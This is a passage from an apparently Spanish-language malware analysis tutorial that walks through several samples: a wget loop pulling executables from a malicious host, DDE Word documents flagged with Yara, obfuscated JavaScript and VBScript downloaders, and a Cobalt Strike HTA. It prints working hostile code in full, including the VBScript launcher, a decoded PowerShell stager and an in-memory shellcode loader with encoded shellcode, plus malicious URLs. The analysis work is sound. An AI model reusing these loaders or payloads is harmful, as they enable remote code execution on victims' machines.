'{print $1}' | awk '{system("wget hXXp://josephioseph. com/timaya/"$1)}

–….-- hXXp://josephioseph. com/timaya/drills.exe

Resolviendo josephioseph.com (josephioseph .com)... 192.185.16.72

Conectando con josephioseph .com (josephioseph .com)``[192.185.16.72]:80... conectado.

Petición HTTP enviada, esperando respuesta... 200 OK

Longitud: 704512 (688K) [application/x-msdownload]

Grabando a: “drills.exe”

`drills.exe 100%[=====================>] 688,00K 245KB/s en 2,8s`

…. (245 KB/s) - “drills.exe” guardado [704512/704512]

`–….-- http://josephioseph.com/timaya/ecmk.exe` `Resolviendo josephioseph.com (josephioseph.com)... 192.185.16.72` `Conectando con josephioseph.com (josephioseph.com)[192.185.16.72]:80... conectado.` `Petición HTTP enviada, esperando respuesta... 200 OK` `Longitud: 1359360 (1,3M) [application/x-msdownload]` `Grabando a: “ecmk.exe”`

ecmk.exe 100%[=====================>] 1,30M 395KB/s en 3,4s

`…. (395 KB/s) - “ecmk.exe” guardado [1359360/1359360]`

…… Y el resto del malware.

Parte 4:

El siguiente es: 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx

Un vistazo manual (con strings) en el documento podría ser útil pero, en este caso, no. No se ve nada relevante en un principio.

Los docx son como los zip, si los renombras a zip y lo extraes, puedes ver una estructura, los xmls, etc. Utilizaremos zipdump.py.

Las reglas Yara son muy útiles en muchos casos, este es uno de ellos (veamos algunos ejemplos):

$ python zipdump.py -D 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx | yara DDE_inOffice.yara

MC_Office_DDE_Command_Execution DDE_inOffice.yara

$ python zipdump.py -D "cb1c08fac545b7c589d4b23087b43430-SWIFT MESSAGE.docx" | yara DDE_inOffice.yara

MC_Office_DDE_Command_Execution DDE_inOffice.yara

$ python zipdump.py -D "NanoCore-Balance Statement.docx" | yara DDE_inOffice.yara

MC_Office_DDE_Command_Execution DDE_inOffice.yara

Vemos coincidencias, por lo que ya tenemos una idea de lo que va a pasar.

Vamos a aprovechar la opción en “zipdump.py” donde le puedes poner la regla Yara que quieres utilizar, así se verá mejor:

$ python zipdump.py -y DDE_inOffice.yara 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx

Index Filename Decoder YARA namespace YARA rule 4 word/document.xml DDE_inOffice.yara Office_DDE_field 4 word/document.xml DDE_inOffice.yara MC_Office_DDE_Command_Execution

Si abrimos el malware en un entorno controlado, es decir, no nos importa infectarnos :P, vemos el siguiente mensaje:

Cuadro de diálogo de Word preguntando si actualizar campos vinculados a otros archivos
Ejecución de malware

Pulsamos en “Sí”. Nos aparece el siguiente mensaje:

Mensaje de error de Word al no poder acceder a los datos remotos de PowerShell
-NoP -sta -NonI Hidden -c

Con estos mensajes ya se ve lo que intenta (más información en estos enlaces):

Abrimos el debugger y ponemos Breakpoints en CreateProcess[A|W] que a más bajo nivel llamará a CreateProcessInternalW, en este caso.

Immunity Debugger mostrando el desensamblado y la cadena de descarga PowerShell hacia dailycare4u.co.uk
Inmunity Debugger

Lo dicho.

Registro de Immunity Debugger con la línea de comandos completa de PowerShell hacia dailycare4u.co.uk
CreateProcessInternalW

Ya tenemos la ruta del malware, (Espacios Insertados) : "hxxp://dailycare4u. co. uk/assets/img/background.jpg".

Parte 6

Ya hemos visto varios ejemplos de documentos ofimáticos, pasaremos a los de scripting como javascript, visual basic script, etc.

Tenemos la siguiente muestra:

Factrue-Orange

Aparentemente, se trata de una factura, ¿en javascript?

Lo abrimos con mi aplicación favorita para estos casos:

Herramienta Execute VBS/JS mostrando código Javascript ofuscado del script Factrue-Orange
Execute VBS/JS by Rafa

Han utilizado un ofuscador comercial, así que habrá que desofuscarlo.

Utilizo mi programa que automatiza el proceso de escribir en el fichero original los cambios necesarios para ejecutarlo y capturar la respuesta.

Cambio el "eval" por "WScript.Echo", sencillo, ¿verdad?

Mismo script con eval sustituido por WScript.Echo para revelar el código oculto
WScript.Echo

Y pulso en ejecutar (el botón de play).

Salida de WScript.Echo mostrando un nuevo array de cadenas cifradas en hexadecimal
Ejecución ( Botón Play )

De nuevo, está ofuscado, no se ve nada a simple vista. Vemos otro “eval”, lo volvemos a cambiar.

Notepad++ con el archivo salida.js mostrando una cadena codificada en hexadecimal con eval
Sustitución eval

Nos pasa lo mismo que en Windows, a veces, ERROR FATAL! (es broma)

Execute VBS/JS mostrando el array hexadecimal y un error de Wscript no definido
Error en ejecución

Como veis, distingue entre mayúsculas y minúsculas: "WScript.Echo", así que lo arreglamos.

Continuación del array hexadecimal con WScript.Sleep y una cadena parcialmente decodificada con eval
Cambio Case Sensitive

Y ya tenemos el contenido de forma adecuada.

Código VBScript desofuscado y legible mostrando variables como sh, fs y Ch

Este código ya es legible.

Notepad++ con el script desofuscado mostrando funciones que envían datos por POST a total-virus.myq-see.com
Código legible

Y aquí tenemos hacia donde se conecta y todo lo demás.

De forma adicional, se puede utilizar una máquina virtual (no nos importa infectarnos) y utilizar ApateDNS para comprobarlo:

Ventana de ApateDNS capturando consultas DNS resueltas al dominio total-virus.myq-see.com
ApateDNS

Parte 7:

Le toca el turno a VBA (Visual Basic for Applications).

Tuit de My Online Security sobre el botnet Necurs distribuyendo ransomware con un icono de candado
My Online Security

Nos dicen cual es la muestra y 1 dominio al que se conecta:

Texto explicando cómo el archivo P_rek.zip extrae un script VBS analizable en VirusTotal
Muestra de Malware

Parece que se descarga algo de “pamplonarecados.com”.

Solamente lo reconocen 4 antivirus:

Informe de VirusTotal del archivo image2017-11-22-5864621.vbs con 4 de 57 detecciones
Virus Total

Solamente aparece ese dominio, pero seguramente haya más dentro del malware. Si se analiza el mismo en un entorno como un Cuckoo o similar, si se conecta al primero (hablo de los downloaders), ya no aparecen los demás a donde iría en caso de fallo. Esto es importante, porque en las plataformas online, en muchos casos se ve 1 dominio o ip y en realidad hay alguno más.

Un truco clásico que utilizan este tipo de Malware para no ser detectados es cortar de alguna forma las cadenas.

Código VBScript con nombres de variables ofuscados y una función que crea un objeto WScript.Shell
Corte de cadena de caracteres

“WScript.Shell” indica que va a ejecutar algo, sería algo parecido a las funciones de la API “ShellExecute[A|W]” o “WinExec”. Los antivirus suelen buscar la cadena al completo, pero y si se programa de esta manera, "WS"+"cript.Shell", a veces el Antivirus no se entera. Con estos simples cambios, logran saltarse las detecciones.

Si bajamos un poco más en el script, vemos lo siguiente:

Código VBScript mostrando el user-agent Firefox y una cadena de URL invertida y ofuscada
Evasión de Antivirus

De nuevo, "http://" al revés, ".exe" al revés... así que vamos a ponerlo todo como es debido.

Para ello utilizo mi aplicación:

Herramienta Execute VBS/JS revirtiendo la cadena Kullipin para revelar comandos como savetofile y WScript.Shell
Aplicación by Rafa

Con las cadenas resultantes, intuimos que descargará algo de algún sitio web (http://) con XMLHTTP, lo guardará en el temporal, lo llamará VTflxABUKQX.exe y lo ejecutará (WScript.Shell).

Sólo nos queda saber desde donde descargará el malware, bajamos un poco más en el script:

Código VBScript con un array de URLs maliciosas de descarga y ejecución mediante cmd.exe
Url descarga Malware

Se ven a simple vista (el comando strings hubiera sido útil), son 3 en total.

Editor de VBScript ejecutando un array con URLs maliciosas ofuscadas y su salida
Urls Malware

IMPORTANTE: Tened esto en cuenta, que en las plataformas online aparecerá el primer sitio al que se conecta, el resto no, hay que sacarlos todos.

Parte 8:

El último del artículo.

Tuit de MalwareMustDie con consola mostrando llamadas API de shellcode a Cobalt Strike
CobaltStrike

Este es el contenido:

<script language="VBScript">

window.moveTo -4000, -4000

Set u0wfiRp4a = CreateObject("Wscript.Shell")

Set xyK8QYHNjsqT = CreateObject("Scripting.FileSystemObject")

For each path in Split(u0wfiRp4a.ExpandEnvironmentStrings("%PSModulePath%"),";")

If xyK8QYHNjsqT.FileExists(path + "\..\powershell.exe") Then

u0wfiRp4a.Run "powershell.exe -nop -w hidden -e

aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAn

AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYA

OgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3

AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcA

fQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBv

AHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkA

bABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAg

AC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0A

OgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBh

AG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUA

cwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAg

AEkATwAuAE...

aQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAu

AFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEA

dABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBE

AGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQA

cwApADsA",0

Exit For

End If

Next

window.close()

</script>

Utilizaremos el comando “base64 -d”, de los más utilizados en el mundo del malware.

Bloque de código ofuscado en Base64 decodificado con un comando de PowerShell oculto
Base 64

Se trata de un script en powershell:

if([IntPtr]::Size -eq 4)``{$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1 .0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,

[Convert]::FromBase64String (''H4sIAAvAMFoCA7VWbW/aSBD+nEr9D1aFhFEJ2ECSS6RIZwMGJ5hAjM3bodPGXuOFtdex18HQ 63+/MS9tqqZ37Um3Anl3dmZ25pmZnfXS0OGEhQK7WrWET+/fnQ1QjAJBLITuStuWhUIklc7OgF7I MqoKt4I4V6KoxQJEwsXNTTONYxzyw7rSwVxJEhw8UYITsST8JYx9HOPzh6cVdrjwSSj8WelQ9oTo kW3bRI6PhXMldPO9HnNQbk3FjCjhYvGPP4ql+bm8qLSfU0QTsWhuE46DiktpsSR8LuUHjrYRFosG cWKWMI9XxiSs1ypWmCAP90HbCzYw95mbFEvgBfxizNM4FPb+5AoO22IRpoOYOYrrxjgB7ooevrA1 BiRSSsvC7+L8ePpjGnISYNjnOGaRieMX4uCk0kWhS/Ej9hZiH29OTv+skPhaCLgGPC6VIQ5vmGkw N6X4IFksfW/oIXYlGIf4geOf3797/847BdtLN/7rYMPsbL6fY7BOHLCE7PluBaksGHAO4izewrIw ilNcWgjzHPX5YiEU4otrv/xjefnEDKy7365HQJrbjLgLEDnGo8DaOfXHWdXCHglxaxuigDinxBHf whh7FO89rJzY+mCSWDxuYLeFKV4inqNWFubfi7UDwr/IqimhLo4VB+KUgFUQwtK3xhwCIRb10MAB IHRYFwF1D9IVn7iPKbo9nZ6vganYpChJysIghXpxyoKJEcVuWVDChBy3lJSz/bT41VwjpZw4KOEn dYvSAcXjaU0WJjxOHQgZeD4yI+wQRHMgykKXuFjdmmR5OrX4JgxNRCkJl6DpBcIAlNx9k+eJEIOB +6CXKibmehBRHADPvmw1ipZQpMdU32cOWmK3+K19p0Q+ZG2OwwmAV9ZBcE3KeFmwScyh9nNM8/z5 b4e/qnowoxnjYxDEU2XM1S3P87ngB3kuHhHZ+x9z8F2LWaCiBF82TB4DMuKH6gNpKjCmekgNR10T WdkQWTfgb5G6zlpX7v3dqluNW5nvKXqiG91Ba9jtNl7uTLvBzbbO7wc6N9qT1cpUuo/WlM90pTsi 0nra2EV3ZGf2FHeaVS936m4jqdlutXS9acvzllee+ShfaKQ3bg5VqYZ6rXbaG6sbVWokbbLpDok1 XN9p/GlqU2R51eVEvkYk68UrW2ZPgS0pHb+OxheR3fENdzvtVq+trCb3Rxb8USsaY+RVZRvmS6DV Vlc6+HnZdFT4vPTrUc/qqlNU48/9cbR5bMrhqN6/fOiqTcuKuqMVjYZ1GrjatTWsbTbTsS0bEvVd W71zOjx8rFF9JMkTtHYDs53d250oc4JsZ3TatZndD8zRrG6th5m7c6V+aGtPba4Pqc1mrSk3V+3N w9ifml2b2BN9Z+zcyJlY8nB8t7U619TU+hezrbyeTijvd9zMle+G1sTOnqTsZaS5zFrPbLuuyP2O dqloKrMbgZe9VG3izEZIUbYN/THHADTO2KVspQ/Vqk0Ddj+pEcXYKArB6rOqqc9d2HcthH2Qtfa4 zVhvOJ1i4PcdVdY6RG8DP2qPNn3cqsrWtbzDfi/PF7RWmZIj2VkqSltRrJo/jbQBrV6PQc/D3YXs MiXPLK0/Rur9mOBeVZ5OFNf42FM33Vau/8JetSYf/bgKw9gNU2OlZL1VO+ubja0xWipptSkzOntW tEFVHt7efshrAIqgsGsZ7qv8/lFPMlCc+IhC3kOzOd0yGou1Y/8YMJJLiOL+0bDGcYgp9Fzoyqdy VShlTt6+9p0GWuehoS3gtrFgWq+9OSsJXxhLX9vaiXRzMwMr4QLwg0oPh0vul6WsLknQoqSsIYGP P+9Xk0VbERSV8wa3h+Wgl+71lvIroZCM/l+ojteQDx/336D6SvuH3Z+CTyof3P2O/C3hl9D8ZdfH iHDgNOEmpfjQw99G4JgXr944yQii7h1H/sJ8SPl5Hx4+fwPS29m9ygoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellEx ecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.Crea teNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

Tenemos un stream comprimido y una cadena codificada en base64: GzipStream y FromBase64String.

Script ofuscado con comando base64 y gzip para descomprimir código en PowerShell
Base 64 y Gzip

Concateno un par de comandos, “base64 -d” y “gzip -cd”.

function o7jD {

Param ($ndjFy, $p0)

$xxlB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $xxlB.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xxlB.GetMethod('GetModuleHandle')).Invoke($null, @($ndjFy)))), $p0)) }

function fuwh {

Param (

[Parameter(Position = 0, Mandatory = $True)] [Type[]] $r59h,

[Parameter(Position = 1)] [Type] $z89T = [Void] )

$oE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $oE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $r59h).SetImplementationFlags('Runtime, Managed') $oE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $z89T, $r59h).SetImplementationFlags('Runtime, Managed')

return $oE.CreateType() }

[Byte[]]$hm = [System.Convert]::FromBase64String ("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEX

jjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04

sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1obmV0AGh3aW5pVGhMdyYH/9Ux21NTU1NTaDpWeaf/1V

NTagNTU2j7IAAA6CcBAAAvN3pLUHBYa2tqNWpwRC1nT3N6OHBCUUpHTjlpQ3lmdF9UQ2wwYWV1M0

lhdVBJcGtnR2lIT01XakdmSExKVGpxcmxzMGE2ZVNmSTZ3UkQxdzd0NnVFbEtIQlVoZDYtSjEwOW

hYSHViVXIzMzdpcXU1QWJyUG9lSFN5Zy1kYXltNGdxd1JQUXVxb0xvTFdoUkZVV3A1NGF6AFBoV4

mfxv/VicZTaAAy4IRTU1NXU1Zo61UuO//VlmoKX2iAMwAAieBqBFBqH1ZodUaehv/VU1NTU1ZoLQ

YYe//VhcB1FGiIEwAAaETwNeD/1U91zehLAAAAakBoABAAAGgAAEAAU2hYpFPl/9WTU1OJ51doAC

AAAFNWaBKWieL/1YXAdM+LBwHDhcB15VjDX+hr////MzQuMjAxLjExNS4yMTgAu/C1olZqAFP/1Q

==")

$zDMd = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll VirtualAlloc), (fuwh @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $hm.Length,0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($hm, 0, $zDMd, $hm.length)

$sT = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll CreateThread), (fuwh @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zDMd,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((o7jD kernel32.dll WaitForSingleObject ), (fuwh @([IntPtr], [Int32]))).Invoke($sT,0xffffffff) | Out-Null

Ya va tomando forma de lo que va a pasar.

Traduzco todo esto, se va a reservar memoria y se va a crear un hilo con el contenido de algo (el payload está en negrita).

Voy a extraer el payload y ver su contenido:

Volcado hexadecimal de la carga extraída junto a una traza de llamadas API como InternetConnectA
Payload Malware

Y aquí tenemos el contenido el contenido de ese payload.

Espero que os haya gustado los ejemplos... lo dicho hay tantas formas de hacerlo como personas en el mundo ;-)

Temas

No hay comentarios todavía